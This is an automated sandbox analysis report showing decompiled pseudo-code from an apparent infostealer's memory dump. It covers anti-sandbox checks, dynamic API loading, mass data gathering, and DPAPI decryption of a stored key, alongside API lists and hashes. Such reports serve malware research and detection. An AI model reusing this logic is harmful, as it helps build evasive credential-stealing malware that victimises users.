				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_t38 =  *0x41a694; // 0x9f6968
				_v52 = _t38;
				_t43 =  *0x41a770; // 0xa167d0
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64); // executed
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c01f
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

<, xrefs: 0040C00A

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: <
API String ID: 690967290-4251816714
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406130, Relevance: 6.4, APIs: 5, Instructions: 150
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00406130(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16, intOrPtr _a20, char _a24, intOrPtr _a28, intOrPtr _a32) {
				char _v8;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v548;
				char _v552;
				char _v556;
				CHAR* _t43;
				intOrPtr _t45;
				char* _t46;
				intOrPtr _t49;
				char* _t50;
				intOrPtr _t53;
				char* _t54;
				intOrPtr _t57;
				char* _t58;
				intOrPtr _t62;
				char _t73;
				void* _t99;
				void* _t100;
				void* _t109;

				E0040B720( &_v540, 0x104);
				E0040B720( &_v276, 0x104);
				_t43 =  *0x41a200; // 0xa16dc0
				_t76 =  &_v540;
				wsprintfA( &_v540, _t43, _a4);
				_t100 = _t99 + 0xc;
				_t114 = _a28;
				if(_a28 == 0) {
					_v8 = _a24;
				} else {
					_t73 = E00413730(0, 0x6400000, 0);
					_t100 = _t100 + 0xc;
					_v8 = _t73;
				}
				_t45 = E0040BF50(_t76, _t114, 0x1a); // executed
				_t46 =  *0x41a574; // 0xa16e50
				 *0x41aac8( &_v276, E0040BEB0(_a12, _t46, _t45));
				_t49 = E0040BF50(_a12, _t114, 0x1c);
				_t50 =  *0x41a518; // 0xa16d90
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t50, _t49));
				_t53 = E0040BF50( &_v276, _t114, 0x28);
				_t54 =  *0x41a2f8; // 0xa16e08
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t54, _t53));
				_t57 = E0040BF50( &_v276, _t114, 0x10); // executed
				_t58 =  *0x41a494; // 0xa16e20
				 *0x41aac8( &_v276, E0040BEB0( &_v276, _t58, _t57));
				_t62 = E0040C090(_a16, ",",  &_v548);
				_t109 = _t100 + 0x4c;
				_v544 = _t62;
				while(1) {
					_t115 = _v544;
					if(_v544 == 0) {
						break;
					}
					E00405E40( &_v276, _t115, _a4, _v8, 0x41401a,  &_v276, _v544, _a20, _a8, _a28, _a32); // executed
					_t62 = E0040C090(0, ",",  &_v548);
					_t109 = _t109 + 0x30;
					_v544 = _t62;
				}
				__eflags = _a28;
				if(_a28 != 0) {
					E00413800(_v8,  &_v552,  &_v556);
					E004137E0(_a24,  &_v540, _v552, _v556);
					return E0040B720( &_v8, 4);
				}
				return _t62;
			}

0x00406145
0x00406156
0x0040615f
0x00406165
0x0040616c
0x00406172
0x00406175
0x00406179
0x00406194
0x0040617b
0x00406184
0x00406189
0x0040618c
0x0040618c
0x00406199
0x004061a2
0x004061bc
0x004061c4
0x004061cd
0x004061ea
0x004061f2
0x004061fb
0x00406218
0x00406220
0x00406229
0x00406246
0x0040625c
0x00406261
0x00406264
0x0040626a
0x0040626a
0x00406271
0x00000000
0x00000000
0x0040629e
0x004062b4
0x004062b9
0x004062bc
0x004062bc
0x004062c4
0x004062c8
0x004062dc
0x004062fd
0x00000000
0x0040630b
0x00406313

APIs

wsprintfA.USER32 ref: 0040616C
lstrcpy.KERNEL32(?,00000000), ref: 004061BC
lstrcpy.KERNEL32(?,00000000), ref: 004061EA
lstrcpy.KERNEL32(?,00000000), ref: 00406218
lstrcpy.KERNEL32(?,00000000), ref: 00406246

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcpy$wsprintf
String ID:
API String ID: 553454533-0
Opcode ID: 393365a3bb899764153e1fa42e09a486f5acc8d5ce57294cd61437d4c4bab3e7
Instruction ID: 97311c7f6f8bc2fe4aa679da1049fe92a67fa3411fccba4dc07eac06f42ff0f5
Opcode Fuzzy Hash: 393365a3bb899764153e1fa42e09a486f5acc8d5ce57294cd61437d4c4bab3e7
Instruction Fuzzy Hash: 365177F690010CBBC715EF94DC46FDB7378AB5C304F0445A9F609A7181EA78AA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00406B60, Relevance: 6.0, APIs: 4, Instructions: 49
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 79%

			_entry_() {
				void* _t5;
				void* _t8;
				void* _t9;
				void* _t10;
				void* _t16;

				E0040C290(_t16); // executed
				E00401770(); // executed
				E0040C2E0(); // executed
				E00401050(_t16, 0x3e8); // executed
				_t5 = E00406AA0(); // executed
				_t19 = _t5;
				if(_t5 != 0) {
					_t8 = E00406AF0(_t19); // executed
					if(_t8 == 0) {
						_t9 = E00406A10(); // executed
						if(_t9 != 0) {
							_t10 = E00406B30(); // executed
							_t22 = _t10;
							if(_t10 != 0) {
								E00401940(); // executed
								E0040C4A0(); // executed
								CreateThread(0, 0, E00401020, 0, 0, 0); // executed
								E004068F0(_t16, _t22);
								CreateThread(0, 0, E00406650, 0, 0, 0); // executed
							}
						}
					}
				}
				while(1 != 0) {
					if( *0x41abb4 == 0) {
						Sleep(0x3e7); // executed
						continue;
					}
					break;
				}
				E0040BFA0(_t16); // executed
				ExitProcess(0);
			}

0x00406b63
0x00406b68
0x00406b6d
0x00406b77
0x00406b7f
0x00406b84
0x00406b86
0x00406b88
0x00406b8f
0x00406b91
0x00406b98
0x00406b9a
0x00406b9f
0x00406ba1
0x00406ba3
0x00406ba8
0x00406bbc
0x00406bc2
0x00406bd6
0x00406bd6
0x00406ba1
0x00406b98
0x00406b8f
0x00406bdc
0x00406bec
0x00406bf5
0x00000000
0x00406bf5
0x00000000
0x00406bee
0x00406bfd
0x00406c04

APIs

Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00A00CC8), ref: 0040C332
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,009FEC90), ref: 0040C34A
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,009FA888), ref: 0040C362
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00A00C20), ref: 0040C37B
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00A00CF8), ref: 0040C393
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00A00C80), ref: 0040C3AB
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00A00C68), ref: 0040C3C4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,00A00D10), ref: 0040C3DC
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,009FA8E8), ref: 0040C3F4
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,009FAAC8), ref: 0040C40D
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(00A00BF0,?,00406B72), ref: 0040C435
Part of subcall function 0040C2E0: LoadLibraryA.KERNEL32(00A00E00,?,00406B72), ref: 0040C447
Part of subcall function 0040C2E0: GetProcAddress.KERNEL32(74B40000,00A00D28), ref: 0040C468

Part of subcall function 00401050: GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
Part of subcall function 00401050: VirtualAllocExNuma.KERNEL32(00000000,?,?,00406B7C,000003E8), ref: 00401071
Part of subcall function 00401050: ExitProcess.KERNEL32 ref: 00401082

Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406AA6
Part of subcall function 00406AA0: Sleep.KERNEL32(00002710,?,00406B84), ref: 00406AB4
Part of subcall function 00406AA0: GetTickCount.KERNEL32 ref: 00406ABA

Sleep.KERNEL32(000003E7), ref: 00406BF5

Part of subcall function 00406A10: GetUserDefaultLangID.KERNEL32 ref: 00406A1D

Part of subcall function 00406B30: CreateMutexA.KERNEL32(00000000,00000000,00A14C58,?,00406B9F), ref: 00406B3D
Part of subcall function 00406B30: GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17430), ref: 0040C4BD
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17460), ref: 0040C4D5
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A14CD8), ref: 0040C4EE
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17478), ref: 0040C506
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17628), ref: 0040C51E
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A173A0), ref: 0040C537
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17640), ref: 0040C54F
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A174D8), ref: 0040C567
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17568), ref: 0040C580
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17580), ref: 0040C598
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A175C8), ref: 0040C5B0
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A174A8), ref: 0040C5C9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17658), ref: 0040C5E1
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A14A78), ref: 0040C5F9
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A17388), ref: 0040C612
Part of subcall function 0040C4A0: GetProcAddress.KERNEL32(74DF0000,00A14B18), ref: 0040C62A

CreateThread.KERNEL32(00000000,00000000,00401020,00000000,00000000,00000000), ref: 00406BBC

Part of subcall function 004068F0: GetSystemTime.KERNEL32(?,?,00000104), ref: 00406971
Part of subcall function 004068F0: lstrcat.KERNEL32(?,00A14B38), ref: 00406985
Part of subcall function 004068F0: sscanf.NTDLL ref: 004069C3
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069D7
Part of subcall function 004068F0: SystemTimeToFileTime.KERNEL32(?,00000000), ref: 004069E8
Part of subcall function 004068F0: ExitProcess.KERNEL32 ref: 00406A02

CreateThread.KERNEL32(00000000,00000000,00406650,00000000,00000000,00000000), ref: 00406BD6
ExitProcess.KERNEL32 ref: 00406C04

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$Time$Process$CreateExitSystem$CountFileLibraryLoadSleepThreadTick$AllocCurrentDefaultErrorLangLastMutexNumaUserVirtuallstrcatsscanf
String ID:
API String ID: 482147807-0
Opcode ID: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction ID: 30edc539181f4161086e76151398ed8f709a9372c098ffe2502fb7c446d8bec9
Opcode Fuzzy Hash: a349654e72635f791abaff99105bb45aa78bda0ff43d1d0459ce1a65ca71d6f4
Instruction Fuzzy Hash: 2101FFB0385365AAE12037A25D17B5935685F00B49F12403BB603F81E2EEBDF460992F

Uniqueness

Uniqueness Score: -1.00%

Function 0040A700, Relevance: 5.0, APIs: 3, Instructions: 489
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E0040A700(void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t132;
				void* _t233;
				void* _t234;
				intOrPtr _t241;
				intOrPtr _t243;
				intOrPtr _t245;
				intOrPtr _t247;
				intOrPtr _t249;
				intOrPtr _t251;
				intOrPtr _t253;
				intOrPtr _t255;
				intOrPtr _t257;
				intOrPtr _t259;
				intOrPtr _t261;
				intOrPtr _t263;
				intOrPtr _t265;
				intOrPtr _t267;
				intOrPtr _t269;
				intOrPtr _t271;
				intOrPtr _t273;
				intOrPtr _t275;
				intOrPtr _t277;
				intOrPtr _t279;
				intOrPtr _t281;
				intOrPtr _t283;
				intOrPtr _t285;
				intOrPtr _t287;
				intOrPtr _t289;
				intOrPtr _t291;
				intOrPtr _t293;
				intOrPtr _t295;
				intOrPtr _t297;
				intOrPtr _t299;
				intOrPtr _t301;
				intOrPtr _t303;
				intOrPtr _t304;
				void* _t305;
				intOrPtr _t307;
				intOrPtr _t309;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t315;
				intOrPtr _t317;
				intOrPtr _t319;
				intOrPtr _t321;
				intOrPtr _t323;
				intOrPtr _t325;
				intOrPtr _t327;
				intOrPtr _t329;
				intOrPtr _t331;
				intOrPtr _t333;
				intOrPtr _t335;
				intOrPtr _t337;
				intOrPtr _t339;
				intOrPtr _t341;
				intOrPtr _t343;
				intOrPtr _t345;
				intOrPtr _t347;
				intOrPtr _t349;
				intOrPtr _t351;
				intOrPtr _t353;
				intOrPtr _t355;
				intOrPtr _t357;
				intOrPtr _t359;
				intOrPtr _t361;
				intOrPtr _t363;
				intOrPtr _t365;
				intOrPtr _t367;
				intOrPtr _t369;
				intOrPtr _t370;
				intOrPtr _t371;
				void* _t407;

				_t407 = __eflags;
				_t132 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
				 *0x41a838 = _t132; // executed
				E00407060(); // executed
				 *0x41a83c = 0;
				_t241 =  *0x41a290; // 0xa18b60
				_t307 =  *0x41a250; // 0xa16550
				E0040A3F0(_t241, _t407, _t307, _t241, _a4, _a8, _a12, _a16); // executed
				_t243 =  *0x41a1dc; // 0xa17838
				_t309 =  *0x41a7a0; // 0xa18618
				E0040A3F0(_t243, _t407, _t309, _t243, _a4, _a8, _a12, _a16); // executed
				_t245 =  *0x41a750; // 0xa17910
				_t311 =  *0x41a09c; // 0xa16488
				E0040A3F0(_t245, _t407, _t311, _t245, _a4, _a8, _a12, _a16); // executed
				_t247 =  *0x41a27c; // 0xa18ab0
				_t313 =  *0x41a7cc; // 0xa185d8
				E0040A3F0(_t247, _t407, _t313, _t247, _a4, _a8, _a12, _a16); // executed
				_t249 =  *0x41a520; // 0xa18ac0
				_t315 =  *0x41a638; // 0xa18658
				E0040A3F0(_t249, _t407, _t315, _t249, _a4, _a8, _a12, _a16); // executed
				_t251 =  *0x41a42c; // 0xa18a10
				_t317 =  *0x41a7d8; // 0xa18558
				E0040A3F0(_t251, _t407, _t317, _t251, _a4, _a8, _a12, _a16); // executed
				_t253 =  *0x41a5c8; // 0xa189d0
				_t319 =  *0x41a390; // 0xa18578
				E0040A3F0(_t253, _t407, _t319, _t253, _a4, _a8, _a12, _a16); // executed
				_t255 =  *0x41a47c; // 0xa18ae0
				_t321 =  *0x41a068; // 0xa165f0
				E0040A3F0(_t255, _t407, _t321, _t255, _a4, _a8, _a12, _a16); // executed
				_t257 =  *0x41a24c; // 0xa17a18
				_t323 =  *0x41a168; // 0xa18598
				E0040A3F0(_t257, _t407, _t323, _t257, _a4, _a8, _a12, _a16); // executed
				_t259 =  *0x41a3e0; // 0xa17928
				_t325 =  *0x41a1d4; // 0xa17a48
				E0040A3F0(_t259, _t407, _t325, _t259, _a4, _a8, _a12, _a16); // executed
				_t261 =  *0x41a028; // 0xa18a20
				_t327 =  *0x41a5e0; // 0xa185b8
				E0040A3F0(_t261, _t407, _t327, _t261, _a4, _a8, _a12, _a16); // executed
				_t263 =  *0x41a614; // 0xa18b10
				_t329 =  *0x41a738; // 0xa164d8
				E0040A3F0(_t263, _t407, _t329, _t263, _a4, _a8, _a12, _a16); // executed
				_t265 =  *0x41a444; // 0xa18b20
				_t331 =  *0x41a338; // 0xa180b8
				E0040A3F0(_t265, _t407, _t331, _t265, _a4, _a8, _a12, _a16); // executed
				_t267 =  *0x41a094; // 0xa18b30
				_t333 =  *0x41a304; // 0xa168e8
				E0040A3F0(_t267, _t407, _t333, _t267, _a4, _a8, _a12, _a16); // executed
				_t269 =  *0x41a440; // 0xa18af0
				_t335 =  *0x41a588; // 0xa16848
				E0040A3F0(_t269, _t407, _t335, _t269, _a4, _a8, _a12, _a16); // executed
				_t271 =  *0x41a54c; // 0xa18b00
				_t337 =  *0x41a764; // 0xa18078
				E0040A3F0(_t271, _t407, _t337, _t271, _a4, _a8, _a12, _a16); // executed
				_t273 =  *0x41a6e0; // 0xa189e0
				_t339 =  *0x41a6b4; // 0xa18278
				E0040A3F0(_t273, _t407, _t339, _t273, _a4, _a8, _a12, _a16); // executed
				_t275 =  *0x41a100; // 0xa17940
				_t341 =  *0x41a078; // 0xa16668
				E0040A3F0(_t275, _t407, _t341, _t275, _a4, _a8, _a12, _a16); // executed
				_t277 =  *0x41a708; // 0xa18a30
				_t343 =  *0x41a5c4; // 0xa178c8
				E0040A3F0(_t277, _t407, _t343, _t277, _a4, _a8, _a12, _a16); // executed
				_t279 =  *0x41a114; // 0xa17808
				_t345 =  *0x41a634; // 0xa166b8
				E0040A3F0(_t279, _t407, _t345, _t279, _a4, _a8, _a12, _a16); // executed
				_t281 =  *0x41a3e8; // 0xa18a80
				_t347 =  *0x41a414; // 0xa16208
				E0040A3F0(_t281, _t407, _t347, _t281, _a4, _a8, _a12, _a16); // executed
				_t283 =  *0x41a398; // 0xa18a00
				_t349 =  *0x41a024; // 0xa16730
				E0040A510(_t283, _t407, _t349, _t283, _a4, _a8, _a12, _a16); // executed
				_t285 =  *0x41a3bc; // 0xa18a50
				_t351 =  *0x41a2c8; // 0xa16298
				E0040A510(_t285, _t407, _t351, _t285, _a4, _a8, _a12, _a16); // executed
				_t287 =  *0x41a5c0; // 0xa17a78
				_t353 =  *0x41a320; // 0xa15ff8
				E0040A3F0(_t287, _t407, _t353, _t287, _a4, _a8, _a12, _a16); // executed
				_t289 =  *0x41a350; // 0xa189f0
				_t355 =  *0x41a0c4; // 0xa16780
				E0040A620(_t289, _t407, _t355, _t289, _a4, _a8, _a12, _a16); // executed
				_t291 =  *0x41a2ec; // 0xa179e8
				_t357 =  *0x41a620; // 0xa162c8
				E0040A620(_t291, _t407, _t357, _t291, _a4, _a8, _a12, _a16); // executed
				_t293 =  *0x41a020; // 0xa179a0
				_t359 =  *0x41a704; // 0xa126e8
				E0040A620(_t293, _t407, _t359, _t293, _a4, _a8, _a12, _a16); // executed
				_t295 =  *0x41a3d0; // 0xa17880
				_t361 =  *0x41a224; // 0xa182f8
				E0040A620(_t295, _t407, _t361, _t295, _a4, _a8, _a12, _a16); // executed
				_t297 =  *0x41a29c; // 0xa17958
				_t363 =  *0x41a7e0; // 0xa16028
				E0040A620(_t297, _t407, _t363, _t297, _a4, _a8, _a12, _a16); // executed
				_t299 =  *0x41a57c; // 0xa17970
				_t365 =  *0x41a34c; // 0xa12800
				E0040A620(_t299, _t407, _t365, _t299, _a4, _a8, _a12, _a16); // executed
				_t301 =  *0x41a060; // 0xa18a60
				_t367 =  *0x41a0d0; // 0xa16500
				E0040A620(_t301, _t407, _t367, _t301, _a4, _a8, _a12, _a16); // executed
				_t303 =  *0x41a1ec; // 0xa189b0
				_t369 =  *0x41a6dc; // 0xa177a8
				E0040A620(_t303, _t407, _t369, _t303, _a4, _a8, _a12, _a16); // executed
				_t304 =  *0x41a21c; // 0xa179b8
				_t370 =  *0x41a484; // 0xa17fd8
				E0040A620(_t304, _t407, _t370, _t304, _a4, 0, 0, 0); // executed
				E00406C10(_t304, _t407);
				_t233 =  *0x41a838; // 0x0
				_t234 =  *0x41a908(_t233);
				_t305 =  *0x41a838; // 0x0
				_t371 =  *0x41a660; // 0xa177c0
				E004137E0(_a4, _t371, _t305, _t234);
				E0040B720(0x41a838, 4); // executed
				E00407150(); // executed
				return E00407170();
			}

0x0040a700
0x0040a711
0x0040a717
0x0040a71c
0x0040a721
0x0040a73b
0x0040a742
0x0040a749
0x0040a761
0x0040a768
0x0040a76f
0x0040a787
0x0040a78e
0x0040a795
0x0040a7ad
0x0040a7b4
0x0040a7bb
0x0040a7d3
0x0040a7da
0x0040a7e1
0x0040a7f9
0x0040a800
0x0040a807
0x0040a81f
0x0040a826
0x0040a82d
0x0040a845
0x0040a84c
0x0040a853
0x0040a86b
0x0040a872
0x0040a879
0x0040a891
0x0040a898
0x0040a89f
0x0040a8b7
0x0040a8be
0x0040a8c5
0x0040a8dd
0x0040a8e4
0x0040a8eb
0x0040a903
0x0040a90a
0x0040a911
0x0040a929
0x0040a930
0x0040a937
0x0040a94f
0x0040a956
0x0040a95d
0x0040a975
0x0040a97c
0x0040a983
0x0040a99b
0x0040a9a2
0x0040a9a9
0x0040a9c1
0x0040a9c8
0x0040a9cf
0x0040a9e7
0x0040a9ee
0x0040a9f5
0x0040aa0d
0x0040aa14
0x0040aa1b
0x0040aa33
0x0040aa3a
0x0040aa41
0x0040aa59
0x0040aa60
0x0040aa67
0x0040aa7f
0x0040aa86
0x0040aa8d
0x0040aaa5
0x0040aaac
0x0040aab3
0x0040aacb
0x0040aad2
0x0040aad9
0x0040aaf1
0x0040aaf8
0x0040aaff
0x0040ab17
0x0040ab1e
0x0040ab25
0x0040ab3d
0x0040ab44
0x0040ab4b
0x0040ab63
0x0040ab6a
0x0040ab71
0x0040ab89
0x0040ab90
0x0040ab97
0x0040abaf
0x0040abb6
0x0040abbd
0x0040abd5
0x0040abdc
0x0040abe3
0x0040abf5
0x0040abfc
0x0040ac03
0x0040ac0b
0x0040ac10
0x0040ac16
0x0040ac1d
0x0040ac24
0x0040ac2f
0x0040ac3e
0x0040ac43
0x0040ac4e

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 0040A70A
RtlAllocateHeap.NTDLL(00000000,?,004067AC), ref: 0040A711

Part of subcall function 00407060: LoadLibraryA.KERNEL32(00A16820,?,0040A721,?,004067AC,?,00000001,00000001,00000001,?,00000104,?,00001388), ref: 00407069
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00A17F28), ref: 0040708F
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00A18718), ref: 004070A7
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00A17EB0), ref: 004070BF
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00A18398), ref: 004070D8
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00A186B8), ref: 004070F0
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00A17E80), ref: 00407108
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00A18458), ref: 00407121
Part of subcall function 00407060: GetProcAddress.KERNEL32(60900000,00A183B8), ref: 00407139

Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00000000), ref: 0040A434
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,?), ref: 0040A459
Part of subcall function 0040A3F0: lstrcat.KERNEL32(?,00A17820), ref: 0040A46D

Part of subcall function 0040A510: lstrcat.KERNEL32(?,00000000), ref: 0040A554
Part of subcall function 0040A510: lstrcat.KERNEL32(?,?), ref: 0040A579
Part of subcall function 0040A510: lstrcat.KERNEL32(?,00A17820), ref: 0040A58D

Part of subcall function 0040A620: lstrcat.KERNEL32(?,00000001), ref: 0040A667
Part of subcall function 0040A620: lstrcat.KERNEL32(?,?), ref: 0040A67B
Part of subcall function 0040A620: lstrcat.KERNEL32(?,00A179D0), ref: 0040A68F

Part of subcall function 00406C10: GetVersionExA.KERNEL32(00000094,?,00000094), ref: 00406C3D
Part of subcall function 00406C10: LoadLibraryA.KERNEL32(00A17448), ref: 00406CAA

lstrlen.KERNEL32(00000000), ref: 0040AC16

Part of subcall function 00407150: FreeLibrary.KERNEL32(60900000,?,0040AC48,0041A838,00000004), ref: 00407159

Part of subcall function 00407170: FreeLibrary.KERNEL32(00000000,?,0040AC4D,0041A838,00000004), ref: 00407179

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$AddressProc$Library$FreeHeapLoad$AllocateProcessVersionlstrlen
String ID:
API String ID: 3801270024-0
Opcode ID: 8e0b4b05eec78f656de81a074dbe81db14e72ba656cc588d5b8b3cbb724aaba6
Instruction ID: a00dee89baef35c05d8f135df5621735fc6a2a2bdba59be032469b4e13cc99cb
Opcode Fuzzy Hash: 8e0b4b05eec78f656de81a074dbe81db14e72ba656cc588d5b8b3cbb724aaba6
Instruction Fuzzy Hash: 830297B6615104BBCB04DF9DEC81DAB33BDAB8C704B04C51CBA1CD7255D634E961CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00407690, Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00407690(CHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				char _v12;
				char _v16;
				char* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				void* _t32;
				char* _t35;
				void* _t45;
				char* _t57;
				intOrPtr _t58;

				_v44 = 0;
				_t32 = E00407380(_a4,  &_v40,  &_v16); // executed
				if(_t32 != 0) {
					_t35 = E0040BB00(_v40, _v16); // executed
					_v8 = _t35;
					if(_v8 != 0) {
						_t57 =  *0x41a088; // 0xa17f40
						_v20 = StrStrA(_v8, _t57);
						if(_v20 != 0) {
							_v20 = _v20 + 0x10;
							_t58 =  *0x41a394; // 0xa17218
							_v48 = E0040BA20(_v20, _t58);
							if(E00407470( &_v24, _v48,  &_v32,  &_v24) != 0 && _v24 >= 5) {
								asm("repe cmpsb");
								if(0 == 0) {
									_t45 = E00407510(_v32 + 5, _v24 - 5,  &_v28,  &_v12); // executed
									if(_t45 != 0 && _v12 == 0x20) {
										_v44 = 1;
										E004075E0(_v28, _a8, _a12); // executed
									}
								}
							}
						}
					}
				}
				return _v44;
			}

0x00407698
0x004076ab
0x004076b5
0x004076c3
0x004076cb
0x004076d2
0x004076d8
0x004076e9
0x004076f0
0x004076fc
0x004076ff
0x00407712
0x0040772b
0x00407742
0x00407744
0x0040775c
0x00407766
0x0040776e
0x00407781
0x00407786
0x00407766
0x00407744
0x0040772b
0x004076f0
0x004076d2
0x00407791

APIs

Part of subcall function 00407380: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
Part of subcall function 00407380: GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
Part of subcall function 00407380: LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
Part of subcall function 00407380: ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
Part of subcall function 00407380: LocalFree.KERNEL32(?), ref: 0040744B
Part of subcall function 00407380: FindCloseChangeNotification.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Part of subcall function 0040BB00: LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040BB22

StrStrA.SHLWAPI(00000000,00A17F40), ref: 004076E3

Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
Part of subcall function 00407470: LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
Part of subcall function 00407470: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
Part of subcall function 00407470: LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Part of subcall function 00407510: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
Part of subcall function 00407510: LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
Part of subcall function 00407510: LocalFree.KERNEL32(?), ref: 0040757F

Strings

DPAPI, xrefs: 00407738
, xrefs: 00407768

Memory Dump Source

